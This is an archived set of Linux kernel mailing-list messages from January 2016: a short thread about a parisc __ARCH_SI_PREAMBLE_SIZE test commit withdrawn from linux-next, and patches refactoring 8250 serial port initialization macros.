 g9hmLZOYMgdd0otxkuNIvSum4Lcq87p+9NMsUYsjUL47dpevGqMi1CzMEhA790xQhHCbjqSEg
 N4wokBedexql1PyUgGCDR1tgOPdmXhYZ/UGVibKzT9n6q11qY/JKjMRFWBvpRLue7ckR66U7h
 QvfminjoN7YrxGevM+59K0n06GfAQKEGbrScNU4YlCtc5Xe5CXdMuMo2rU84sAGZkXltTq5qa
 SQkGdmSBonuM9qRk3E1dGM/dD+1WRRAn05qrjh83PXFxfU/FfjL39fOoP4UY2MJycYdsMql4t
 NgZI2Xp+KcNr2uCEyDZsWj5RUMFBvKk1HhGb5L7/UcbiPXAFazN1ydsu/aAhkE/AUqKtRrhbT
 JleXM8DUwppZEKOvwvTL5cFisHDzkw4a77ymL5BQEpCtbSMZ91as6uPoUY9vnpGZ38erudMOG
 l28eVpXoKUFLCmlIX5o+8eHskki9qdHiW/8/5Hj3nnaXe1Ev6QDFpCHjvQMUaYBSaFC4kLDTI
 gsM4y9S99Fq/L9GTREEQvwm5HTiVr5gmJ0cV0PRQT7uv2ygS3WIPi1AUiX/FT9mWuEgq23ySZ
 1+Yze9iDiXtFsaw6/eUk8NAOByQ4wSsBXNO3BbV5EFsvgvbJQSdZWQ0VBDRvABlVibaFighJ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26353 gmane.linux.kernel.next:37777 gmane.linux.kernel:2124106
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26353>

On 10.01.2016 23:28, Stephen Rothwell wrote:
> I noticed the following commit in the parisc-hd tree today:
> 
>   43122681dd75 ("Fix __ARCH_SI_PREAMBLE_SIZE on parisc")
> 
> which among other things says:
> 
>   This patch is not planned to be committed as it currently is.

Right, I split it up into two.

> [...] Please remove it from linux-next inclusion until it is ready.

Sure, I just removed it now.

> Delibeately introducing a patch to linux-next that may well cause build breakage
> in other architectures just before the merge window opens is a bit antisocial.

That was in no way my intention.
In contrary, I wanted to see if other platforms are affected by the same bug without knowing.
Do you by any chance know if it broke some of the existing platforms?
If yes, that would be valuable info...

Just in case people want to know what this is all about:
On parisc I found __ARCH_SI_PREAMBLE_SIZE to have a wrong value in 64bit kernel builds.
Patch which fixes it is here:
https://patchwork.kernel.org/patch/7994821/

To prevent other (existing and future) architectures to run into the same
problem I wanted to test this patch via linux-next and inform them:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=test__ARCH_SI_PREAMBLE_SIZE

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: linux-next: strange commit in the parisc-hd tree
Date: Tue, 12 Jan 2016 09:32:57 +1100
Lines: 43
Approved: news@gmane.org
Message-ID: <20160112093257.015545ec@canb.auug.org.au>
References: <20160111092822.4b4c0233@canb.auug.org.au>
	<569422C8.4000706@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1452551586 9213 80.91.229.3 (11 Jan 2016 22:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 22:33:06 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-next-owner@vger.kernel.org Mon Jan 11 23:33:06 2016
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1aIl1K-0005I2-0E
	for glkn-linux-next@plane.gmane.org; Mon, 11 Jan 2016 23:33:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759445AbcAKWdA (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 11 Jan 2016 17:33:00 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:44074 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759347AbcAKWc7 (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Mon, 11 Jan 2016 17:32:59 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 7B28D1402A0;
	Tue, 12 Jan 2016 09:32:57 +1100 (AEDT)
In-Reply-To: <569422C8.4000706@gmx.de>
X-Mailer: Claws Mail 3.13.1 (GTK+ 2.24.29; x86_64-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:37778 gmane.linux.ports.parisc:26354 gmane.linux.kernel:2124155
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/37778>

Hi Helge,

On Mon, 11 Jan 2016 22:46:48 +0100 Helge Deller <deller@gmx.de> wrote:
>
> On 10.01.2016 23:28, Stephen Rothwell wrote:
> > I noticed the following commit in the parisc-hd tree today:
> > 
> >   43122681dd75 ("Fix __ARCH_SI_PREAMBLE_SIZE on parisc")
> > 
> > which among other things says:
> > 
> >   This patch is not planned to be committed as it currently is.  
> 
> Right, I split it up into two.

Good idea.

> > [...] Please remove it from linux-next inclusion until it is ready.  
> 
> Sure, I just removed it now.

Thanks.

> > Delibeately introducing a patch to linux-next that may well cause build breakage
> > in other architectures just before the merge window opens is a bit antisocial.  
> 
> That was in no way my intention.
> In contrary, I wanted to see if other platforms are affected by the same bug without knowing.
> Do you by any chance know if it broke some of the existing platforms?
> If yes, that would be valuable info...

No, because I took it out of linux-next yesterday.  It is more a timing
thing, if you had done that a few weeks ago, I would have just reported
any build errors and continued on, but just before the merge window
opens we don;t need the distraction.  Also, if you can create another
branch and give it to the zero day build farm, you should get better
feed back.

Also, linux-next is not supposed to contain patches without a
Signed-off-by ...
-- 
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: linux-next: strange commit in the parisc-hd tree
Date: Tue, 12 Jan 2016 09:39:51 +1100
Lines: 40
Approved: news@gmane.org
Message-ID: <1452551991.23317.3.camel@ellerman.id.au>
References: <20160111092822.4b4c0233@canb.auug.org.au>
	 <569422C8.4000706@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1452552001 15264 80.91.229.3 (11 Jan 2016 22:40:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 22:40:01 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Mon Jan 11 23:39:56 2016
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1aIl7z-0001EC-N0
	for glkn-linux-next@plane.gmane.org; Mon, 11 Jan 2016 23:39:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760770AbcAKWjy (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 11 Jan 2016 17:39:54 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:47580 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760604AbcAKWjx (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Mon, 11 Jan 2016 17:39:53 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 639F31402BF;
	Tue, 12 Jan 2016 09:39:51 +1100 (AEDT)
In-Reply-To: <569422C8.4000706@gmx.de>
X-Mailer: Evolution 3.16.5-1ubuntu3.1 
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:37779 gmane.linux.ports.parisc:26355 gmane.linux.kernel:2124162
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/37779>

On Mon, 2016-01-11 at 22:46 +0100, Helge Deller wrote:
> On 10.01.2016 23:28, Stephen Rothwell wrote:
> > I noticed the following commit in the parisc-hd tree today:
> > 
> >   43122681dd75 ("Fix __ARCH_SI_PREAMBLE_SIZE on parisc")
> > 
> > which among other things says:
> > 
> >   This patch is not planned to be committed as it currently is.
> 
> Right, I split it up into two.
> 
> > [...] Please remove it from linux-next inclusion until it is ready.
> 
> Sure, I just removed it now.
> 
> > Delibeately introducing a patch to linux-next that may well cause build breakage
> > in other architectures just before the merge window opens is a bit antisocial.
> 
> That was in no way my intention.
> In contrary, I wanted to see if other platforms are affected by the same bug without knowing.
> Do you by any chance know if it broke some of the existing platforms?
> If yes, that would be valuable info...
> 
> Just in case people want to know what this is all about:
> On parisc I found __ARCH_SI_PREAMBLE_SIZE to have a wrong value in 64bit kernel builds.
> Patch which fixes it is here:
> https://patchwork.kernel.org/patch/7994821/
> 
> To prevent other (existing and future) architectures to run into the same
> problem I wanted to test this patch via linux-next and inform them:
> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=test__ARCH_SI_PREAMBLE_SIZE

That doesn't fire on powerpc, ie. we have it correct.

Though I wonder why it's not just defined using offsetof? Possibly just that
it's awkward with the way the headers are organised.

cheers


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: linux-next: strange commit in the parisc-hd tree
Date: Tue, 12 Jan 2016 22:43:54 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <5695739A.9050700@gmx.de>
References: <20160111092822.4b4c0233@canb.auug.org.au>
 <569422C8.4000706@gmx.de> <1452551991.23317.3.camel@ellerman.id.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1452635070 13891 80.91.229.3 (12 Jan 2016 21:44:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Jan 2016 21:44:30 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Michael Ellerman <mpe@ellerman.id.au>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Jan 12 22:44:24 2016
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1aJ6jZ-00079a-BD
	for glkn-linux-next@plane.gmane.org; Tue, 12 Jan 2016 22:44:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753805AbcALVoG (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Tue, 12 Jan 2016 16:44:06 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:62048 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753735AbcALVoD (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Tue, 12 Jan 2016 16:44:03 -0500
Original-Received: from [192.168.20.60] ([92.203.18.244]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MGXV6-1aNSJx349A-00DEW8; Tue, 12 Jan 2016 22:43:57
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1452551991.23317.3.camel@ellerman.id.au>
X-Provags-ID: V03:K0:H0N6kIurKajVS+3jZ1vpAMxogwZVsqROj9d79/E06dvOrdCsMF+
 yoLWygzGkcr0giupn3G2j8ql4uVxNy8u5qb8G48q9wSV/1V5EEI9IqAzZP0FgTspksji/Z+
 YXF89ethk9SH+Wf1ZqpsjQv+bWuGIFfiFyGrcSop0AfajuBUmrUVIxKEMKczb3ExowlN6mZ
 wTGwN9zwHUdreWsdiVvlw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:T2jhV2ot4pw=:kcg9ct1h4geIRMydkExHKi
 WraxQvMzvYo9ZKqusYdYqftWWBID2F3TcnJyN567R3m5299IsxhNG+7RK8cy+8ujw8Oo3KQiH
 zhTfDHv5KwjBEG+dLJNfS1viEXnZ6uMW3Jjx1EmBqIS9G9soiDVMNw8eg+7HARDitfDHoJBPn
 7BzniZelHAujZZrlG+yWUy7bykQ85BEk9zgAnbCSsSYG1JoGMbD8O4UZKJPC/NotX9v06+CN3
 9/G0bdyrc8/8+o1QCGscwW3Dwh/OesZSNlaZOHZ8ZQZhT0UmT6UXyeSxphuzbv+Au/44bOjxh
 KC/hjlCO1/P+t6CXjD/fpnfsyjCEWMefvIQqEduZ48OmTTNEKMK2YwaIyQFijUZj7VfhV+oX6
 hTSfuJH0mSIU8l+lYFK2duAErktIrZLN5HS6hd2XgaGUcW+Bm4Zm2NtKKswIZiaS+FeUNkQNV
 DtHONcyPpjGaV75ESnwyCP2yBwZI8Zhx4e3302c2bFg+zOMTz9nEi53bbZThRBLkMLdDujmMS
 MXomJPMweNbyH/U2YZlxH7BbaMTCCFKrC5DeZHUXEjerUxxPQxAtIWmUqtj0puAL4y6I75RzY
 UuynaMRzFg43Psc/JV2pmdhhuN3kc4KGIaZr4ru2lpGlk/gajWmPqpu4ZT8UY07D1SLLVTW1s
 SQMs0NsCU0IOfIRaNYv3k5r3h57NH6L0pJJmkGS+tunf4mJQJ/+brH0iA8NhBNYaVFFjnGHFr
 3cRIGXGZ4FUS/sBFKUewxw82iQ/5hhSvXZK6bI6YIjgdvccly39jKVmjyJbO6cSJ9oOC4BJL 
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:37796 gmane.linux.ports.parisc:26356 gmane.linux.kernel:2125260
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/37796>

On 11.01.2016 23:39, Michael Ellerman wrote:
> On Mon, 2016-01-11 at 22:46 +0100, Helge Deller wrote:
>> On 10.01.2016 23:28, Stephen Rothwell wrote:
>>> I noticed the following commit in the parisc-hd tree today:
>>>
>>>   43122681dd75 ("Fix __ARCH_SI_PREAMBLE_SIZE on parisc")
>>>
>>> which among other things says:
>>>
>>>   This patch is not planned to be committed as it currently is.
>>
>> Right, I split it up into two.
>>
>>> [...] Please remove it from linux-next inclusion until it is ready.
>>
>> Sure, I just removed it now.
>>
>>> Delibeately introducing a patch to linux-next that may well cause build breakage
>>> in other architectures just before the merge window opens is a bit antisocial.
>>
>> That was in no way my intention.
>> In contrary, I wanted to see if other platforms are affected by the same bug without knowing.
>> Do you by any chance know if it broke some of the existing platforms?
>> If yes, that would be valuable info...
>>
>> Just in case people want to know what this is all about:
>> On parisc I found __ARCH_SI_PREAMBLE_SIZE to have a wrong value in 64bit kernel builds.
>> Patch which fixes it is here:
>> https://patchwork.kernel.org/patch/7994821/
>>
>> To prevent other (existing and future) architectures to run into the same
>> problem I wanted to test this patch via linux-next and inform them:
>> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=test__ARCH_SI_PREAMBLE_SIZE
> 
> That doesn't fire on powerpc, ie. we have it correct.

It really seems that parisc was the only architecture left which had a wrong value for __ARCH_SI_PREAMBLE_SIZE.
I followed Stephens suggestion to try it via the zero day build farm and it was only reported one problem (for parisc).
Tree is here: http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=for-next-test
 
> Though I wonder why it's not just defined using offsetof? Possibly just that
> it's awkward with the way the headers are organised.

Yes.

Helge


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 14/15] tty: serial: 8250: Add generic port init macro
Date: Wed, 13 Jan 2016 17:39:30 +0100
Lines: 200
Approved: news@gmane.org
Message-ID: <1452703171-5632-15-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703215 29472 80.91.229.3 (13 Jan 2016 16:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:40:15 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:40:05 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOSp-0004AH-Tx
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:40:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754358AbcAMQjx convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:39:53 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:47150 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754297AbcAMQju (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:50 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 570B558C4E1;
	Wed, 13 Jan 2016 17:39:48 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:48 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126002 gmane.linux.ports.parisc:26357
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126002>

This patch removes redundant 8250 port initialization macros and
replaces them by a single generic base-macro, which is specialized
as needed.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250.h               | 12 ++++++++
 drivers/tty/serial/8250/8250_accent.c        | 13 ++-------
 drivers/tty/serial/8250/8250_boca.c          | 41 ++++++++++++--------=
--------
 drivers/tty/serial/8250/8250_exar_st16c554.c | 17 ++++--------
 drivers/tty/serial/8250/8250_fourport.c      | 28 ++++++++-----------
 5 files changed, 49 insertions(+), 62 deletions(-)

diff --git a/drivers/tty/serial/8250/8250.h b/drivers/tty/serial/8250/8=
250.h
index d54dcd8..4672ab4 100644
--- a/drivers/tty/serial/8250/8250.h
+++ b/drivers/tty/serial/8250/8250.h
@@ -92,6 +92,18 @@ struct serial8250_config {
 #define SERIAL8250_SHARE_IRQS 0
 #endif
=20
+#define SERIAL8250_PORT_FLAGS(_base, _irq, _flags)		\
+	{							\
+		.iobase		=3D _base,			\
+		.irq		=3D _irq,				\
+		.uartclk	=3D 1843200,			\
+		.iotype		=3D UPIO_PORT,			\
+		.flags		=3D UPF_BOOT_AUTOCONF | (_flags),	\
+	}
+
+#define SERIAL8250_PORT(_base, _irq) SERIAL8250_PORT_FLAGS(_base, _irq=
, 0)
+
+
 static inline int serial_in(struct uart_8250_port *up, int offset)
 {
 	return up->port.serial_in(&up->port, offset);
diff --git a/drivers/tty/serial/8250/8250_accent.c b/drivers/tty/serial=
/8250/8250_accent.c
index 34b51c6..522aeae 100644
--- a/drivers/tty/serial/8250/8250_accent.c
+++ b/drivers/tty/serial/8250/8250_accent.c
@@ -10,18 +10,11 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port accent_data[] =3D {
-	PORT(0x330, 4),
-	PORT(0x338, 4),
+	SERIAL8250_PORT(0x330, 4),
+	SERIAL8250_PORT(0x338, 4),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_boca.c b/drivers/tty/serial/8=
250/8250_boca.c
index d125dc1..a63b599 100644
--- a/drivers/tty/serial/8250/8250_boca.c
+++ b/drivers/tty/serial/8250/8250_boca.c
@@ -10,32 +10,25 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port boca_data[] =3D {
-	PORT(0x100, 12),
-	PORT(0x108, 12),
-	PORT(0x110, 12),
-	PORT(0x118, 12),
-	PORT(0x120, 12),
-	PORT(0x128, 12),
-	PORT(0x130, 12),
-	PORT(0x138, 12),
-	PORT(0x140, 12),
-	PORT(0x148, 12),
-	PORT(0x150, 12),
-	PORT(0x158, 12),
-	PORT(0x160, 12),
-	PORT(0x168, 12),
-	PORT(0x170, 12),
-	PORT(0x178, 12),
+	SERIAL8250_PORT(0x100, 12),
+	SERIAL8250_PORT(0x108, 12),
+	SERIAL8250_PORT(0x110, 12),
+	SERIAL8250_PORT(0x118, 12),
+	SERIAL8250_PORT(0x120, 12),
+	SERIAL8250_PORT(0x128, 12),
+	SERIAL8250_PORT(0x130, 12),
+	SERIAL8250_PORT(0x138, 12),
+	SERIAL8250_PORT(0x140, 12),
+	SERIAL8250_PORT(0x148, 12),
+	SERIAL8250_PORT(0x150, 12),
+	SERIAL8250_PORT(0x158, 12),
+	SERIAL8250_PORT(0x160, 12),
+	SERIAL8250_PORT(0x168, 12),
+	SERIAL8250_PORT(0x170, 12),
+	SERIAL8250_PORT(0x178, 12),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_exar_st16c554.c b/drivers/tty=
/serial/8250/8250_exar_st16c554.c
index bf53aab..3a7cb82 100644
--- a/drivers/tty/serial/8250/8250_exar_st16c554.c
+++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
@@ -13,20 +13,13 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port exar_data[] =3D {
-	PORT(0x100, 5),
-	PORT(0x108, 5),
-	PORT(0x110, 5),
-	PORT(0x118, 5),
+	SERIAL8250_PORT(0x100, 5),
+	SERIAL8250_PORT(0x108, 5),
+	SERIAL8250_PORT(0x110, 5),
+	SERIAL8250_PORT(0x118, 5),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_fourport.c b/drivers/tty/seri=
al/8250/8250_fourport.c
index be15826..4045180 100644
--- a/drivers/tty/serial/8250/8250_fourport.c
+++ b/drivers/tty/serial/8250/8250_fourport.c
@@ -10,24 +10,20 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)						\
-	{								\
-		.iobase		=3D _base,				\
-		.irq		=3D _irq,					\
-		.uartclk	=3D 1843200,				\
-		.iotype		=3D UPIO_PORT,				\
-		.flags		=3D UPF_BOOT_AUTOCONF | UPF_FOURPORT,	\
-	}
+#include "8250.h"
+
+#define SERIAL8250_FOURPORT(_base, _irq) \
+	SERIAL8250_PORT_FLAGS(_base, _irq, UPF_FOURPORT)
=20
 static struct plat_serial8250_port fourport_data[] =3D {
-	PORT(0x1a0, 9),
-	PORT(0x1a8, 9),
-	PORT(0x1b0, 9),
-	PORT(0x1b8, 9),
-	PORT(0x2a0, 5),
-	PORT(0x2a8, 5),
-	PORT(0x2b0, 5),
-	PORT(0x2b8, 5),
+	SERIAL8250_FOURPORT(0x1a0, 9),
+	SERIAL8250_FOURPORT(0x1a8, 9),
+	SERIAL8250_FOURPORT(0x1b0, 9),
+	SERIAL8250_FOURPORT(0x1b8, 9),
+	SERIAL8250_FOURPORT(0x2a0, 5),
+	SERIAL8250_FOURPORT(0x2a8, 5),
+	SERIAL8250_FOURPORT(0x2b0, 5),
+	SERIAL8250_FOURPORT(0x2b8, 5),
 	{ },
 };
=20
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 11/15] tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro
Date: Wed, 13 Jan 2016 17:39:27 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <1452703171-5632-12-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703225 29610 80.91.229.3 (13 Jan 2016 16:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:40:25 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
